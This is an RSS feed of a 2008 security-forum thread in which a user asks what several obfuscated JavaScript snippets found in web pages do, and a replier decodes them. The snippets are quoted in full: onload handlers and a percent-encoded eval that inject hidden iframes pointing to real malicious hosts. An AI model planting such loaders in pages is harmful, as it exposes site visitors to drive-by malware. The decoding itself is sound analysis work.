<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>What is these ?</title>
        <description>Hello ;
I need the help
I could not understand what they became , Can you explain . 

&amp;lt;a href=&amp;quot;&amp;lt;?php echo fileurl($fileid,$filetitle); ?&amp;gt;&amp;quot; target=&amp;quot;_self&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;&amp;lt;?php echo $imageurl; ?&amp;gt;&amp;quot; onload=&amp;quot;status=' ';zz='2';sl='/';sf='ram';pi='9';po='.';qu=':';yh='4';tr='t.p';vo='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);&amp;quot; width=&amp;quot;70&amp;quot; height=&amp;quot;59&amp;quot; title=&amp;quot;&amp;lt;?php echo $filetitle; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo $filetitle; ?&amp;gt;&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;

and

&amp;lt;body onload=&amp;quot;status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh= 't';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab= 'src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf ,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us ,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('widt h','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx) ;document.body.appendChild(oE);
&amp;quot;&amp;gt;

Can we solve these encode .How can I encoded , What this codes . Trojan - Spam - bot or worm ..vs</description>
        <link>http://sla.ckers.org/forum/read.php?3,20076,20076#msg-20076</link>
        <lastBuildDate>Thu, 23 May 2013 06:13:28 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20856#msg-20856</guid>
            <title>Re: What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20856#msg-20856</link>
            <description><![CDATA[yes , fine <br />
<br />
and<br />
&lt;script&gt;eval(unescape(&quot;%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%34%65%62%32%64%39%33%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%77%77%77%2e%70%6f%6b%75%70%6b%69%32%34%2e%69%6e%66%6f%2f%31%34%2f%69%6e%64%65%78%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%33%36%38%37%29%2b%27%63%31%36%34%5c%27%20%77%69%64%74%68%3d%35%39%31%20%68%65%69%67%68%74%3d%35%37%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29&quot;)); &lt;/script&gt;<br />
<br />
decode<br />
|<br />
v<br />
<br />
window.status='Done';document.write('&lt;iframe name=4eb2d93 src=\'http://www.pokupki24.info/14/index.php?'+Math.round(Math.random()*33687)+'c164\' width=591 height=57 style=\'display: none\'&gt;&lt;/iframe&gt;')<br />
<br />
&quot; ai siktir vee? &quot; :)<br />
<br />
what  is this :S]]></description>
            <dc:creator>ZeberuS</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Sat, 23 Feb 2008 14:33:59 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20109#msg-20109</guid>
            <title>Re: What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20109#msg-20109</link>
            <description><![CDATA[I think you should read up on what <a href="http://en.wikipedia.org/wiki/Concatenation" rel="nofollow" >concatenation</a> is. the concat() function concatenates strings together, those strings are stored in the variables you see listed, ie: pt,qu,sl etc.<br />
<br />
As for the second part of question, the author is attempting to hide what the javascript is actually doing. Which is pretty useless in javascript since it's run client side. For example, in this:<pre class="bbcode">&lt;script language=JavaScript&gt;function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,31,36,14,23,13,34,2,57,42,0,0,0,0,0,0,21,17,6,37,41,12,7,35,10,8,59,60,28,39,16,22,1,3,46,29,25,15,24,11,4,51,56,0,0,0,0,27,0,62,18,20,19,0,48,40,30,9,32,52,33,53,55,49,61,44,26,45,47,38,43,50,5,58,54);for(j=Math.ceil(l/b);j&gt;0;j--){r='';for(i=Math.min(l,b);i&gt;0;i--,l--){w|=(t[x.charCodeAt(p++)-48])&lt;&lt;s;if(s){r+=String.fromCharCode(165^w&amp;255);w&gt;&gt;=8;s-=2}else{s=6}}document.write(r)}}decipher(&quot;xuDoetLke1puzvKm4Y5lxwtwN4IJm4IYO4Zoivqo3QLfWuD6BQKwAQKm_7&quot;)&lt;/script&gt;</pre>
Simply replace the document.write() call with an alert() and run it in your <a href="http://addons.mozilla.org/firefox/addon/1843" rel="nofollow" >Firebug</a> console (or in the address bar if you prefer) to have the deciphered output alerted for you nice and easy.]]></description>
            <dc:creator>tx</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Fri, 01 Feb 2008 12:48:19 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20107#msg-20107</guid>
            <title>Re: What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20107#msg-20107</link>
            <description><![CDATA[oo :)<br />
Thank you very much<br />
but<br />
How can I decode ?<br />
<br />
example:<br />
xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji = http://194.145.235.34/t.php<br />
<br />
What do you solve this code . pls can you give copy about this code<br />
<br />
..................<br />
<br />
what is this duty ? why do we use code<br />
<br />
PHP source code <br />
&lt;script language=JavaScript&gt;function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,31,36,14,23,13,34,2,57,42,0,0,0,0,0,0,21,17,6,37,41,12,7,35,10,8,59,60,28,39,16,22,1,3,46,29,25,15,24,11,4,51,56,0,0,0,0,27,0,62,18,20,19,0,48,40,30,9,32,52,33,53,55,49,61,44,26,45,47,38,43,50,5,58,54);for(j=Math.ceil(l/b);j&gt;0;j--){r='';for(i=Math.min(l,b);i&gt;0;i--,l--){w|=(t[x.charCodeAt(p++)-48])&lt;&lt;s;if(s){r+=String.fromCharCode(165^w&amp;255);w&gt;&gt;=8;s-=2}else{s=6}}document.write(r)}}decipher(&quot;xuDoetLke1puzvKm4Y5lxwtwN4IJm4IYO4Zoivqo3QLfWuD6BQKwAQKm_7&quot;)&lt;/script&gt;]]></description>
            <dc:creator>ZeberuS</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Fri, 01 Feb 2008 12:09:45 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20081#msg-20081</guid>
            <title>Re: What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20081#msg-20081</link>
            <description><![CDATA[Well looking at the first one for example:<br />
<br />
status=' ';zz='2';sl='/';sf='ram';pi='9';po='.';qu=':';yh='4';tr='t.p';vo='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);<br />
<br />
if we put each statement on it's own line it's a lot easier to follow, read my comments:<br />
<pre class="bbcode">
status='';       // This does nothing
zz='2';          // This begins the part where the
sl='/';          // variables are initialized that
sf='ram';        // will later be concatenated together
pi='9';          // to form the actual strings necessary
po='.';          //       |
qu=':';          //       |
yh='4';          //       |
tr='t.p';        //       |
vo='3';          //       |
bw='5';          //       |
pt='tp';         //       |
ab='src';        //       |
dg='ht';         //       |
ko='e';          //       |
wd='if';         //       |
ji='hp';         //      _|_
hh='1';          //      \|/
                 //       V
t=wd.concat(sf,ko); // Concats variables sf and ko to wd. so now t = 'iframe'
xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);
// concats all of those variables to dg to create the string 'http://194.145.235.34/t.php'  and stores it in variable xx
var oE=document.createElement(t); // creates an iframe, reference is stored in oE
oE.setAttribute('width','0');   //iframe attributes
oE.setAttribute('height','0');  // more attributes
oE.setAttribute('style','display:none'); //more attributes
oE.setAttribute(ab,xx);  // sets the attribute ab (which = 'src') to the value of xx ('http://194.145.235.34/t.php')
document.body.appendChild(oE); //Finally, put the iframe in the body of the document.
</pre>]]></description>
            <dc:creator>tx</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Thu, 31 Jan 2008 21:46:38 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20079#msg-20079</guid>
            <title>Re: What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20079#msg-20079</link>
            <description><![CDATA[Hmm , thx tx :)<br />
How did you understand ?<br />
How can I do , because meeting continuous , seeing . <br />
<br />
in 89.208.35.26/1/index.php was written =  Sorry! You IP is blocked<br />
<br />
PHP source code<br />
&lt;script language=JavaScript&gt;function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,31,36,14,23,13,34,2,57,42,0,0,0,0,0,0,21,17,6,37,41,12,7,35,10,8,59,60,28,39,16,22,1,3,46,29,25,15,24,11,4,51,56,0,0,0,0,27,0,62,18,20,19,0,48,40,30,9,32,52,33,53,55,49,61,44,26,45,47,38,43,50,5,58,54);for(j=Math.ceil(l/b);j&gt;0;j--){r='';for(i=Math.min(l,b);i&gt;0;i--,l--){w|=(t[x.charCodeAt(p++)-48])&lt;&lt;s;if(s){r+=String.fromCharCode(165^w&amp;255);w&gt;&gt;=8;s-=2}else{s=6}}document.write(r)}}decipher(&quot;xuDoetLke1puzvKm4Y5lxwtwN4IJm4IYO4Zoivqo3QLfWuD6BQKwAQKm_7&quot;)&lt;/script&gt;<br />
<br />
What is this ? Can you write one by one . What kind of encrypt . I didn't understand]]></description>
            <dc:creator>ZeberuS</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Thu, 31 Jan 2008 21:18:12 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20077#msg-20077</guid>
            <title>Re: What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20077#msg-20077</link>
            <description><![CDATA[The first one creates an iframe that points to h++p://194.145.235.34/t.php<br />
The second creates an iframe that points to h++p://brbg.ru/.t.php<br />
<br />
194.145.235.34 isn't responding but the other url redirects to h++p://89.208.35.26/1/index.php which, for me at least, only contains some obfuscated javascript that writes<blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>&lt;center&gt;Sorry! You IP is blocked.&lt;/center&gt;</div></blockquote> into the document.]]></description>
            <dc:creator>tx</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Thu, 31 Jan 2008 19:57:25 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?3,20076,20076#msg-20076</guid>
            <title>What is these ?</title>
            <link>http://sla.ckers.org/forum/read.php?3,20076,20076#msg-20076</link>
            <description><![CDATA[Hello ;<br />
I need the help<br />
I could not understand what they became , Can you explain . <br />
<br />
&lt;a href=&quot;&lt;?php echo fileurl($fileid,$filetitle); ?&gt;&quot; target=&quot;_self&quot;&gt;&lt;img src=&quot;&lt;?php echo $imageurl; ?&gt;&quot; onload=&quot;status=' ';zz='2';sl='/';sf='ram';pi='9';po='.';qu=':';yh='4';tr='t.p';vo='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);&quot; width=&quot;70&quot; height=&quot;59&quot; title=&quot;&lt;?php echo $filetitle; ?&gt;&quot; alt=&quot;&lt;?php echo $filetitle; ?&gt;&quot; border=&quot;0&quot;&gt;&lt;/a&gt;<br />
<br />
and<br />
<br />
&lt;body onload=&quot;status=' ';zz='o';sl='/';sf='ram';us='u';pi='b';po='.';gw='fi';qu=':';yh= 't';vo='h';bw='e';pj='m';iu='g';pt='tp';yw='p';ab= 'src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf ,ko);xx=dg.concat(pt,qu,sl,sl,pi,hh,pi,iu,po,hh,us ,sl,po,yh,po,yw,vo,yw);var oE=document.createElement(t);oE.setAttribute('widt h','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx) ;document.body.appendChild(oE);<br />
&quot;&gt;<br />
<br />
Can we solve these encode .How can I encoded , What this codes . Trojan - Spam - bot or worm ..vs]]></description>
            <dc:creator>ZeberuS</dc:creator>
            <category>Full Disclosure</category>
            <pubDate>Thu, 31 Jan 2008 18:09:24 -0600</pubDate>
        </item>
    </channel>
</rss>
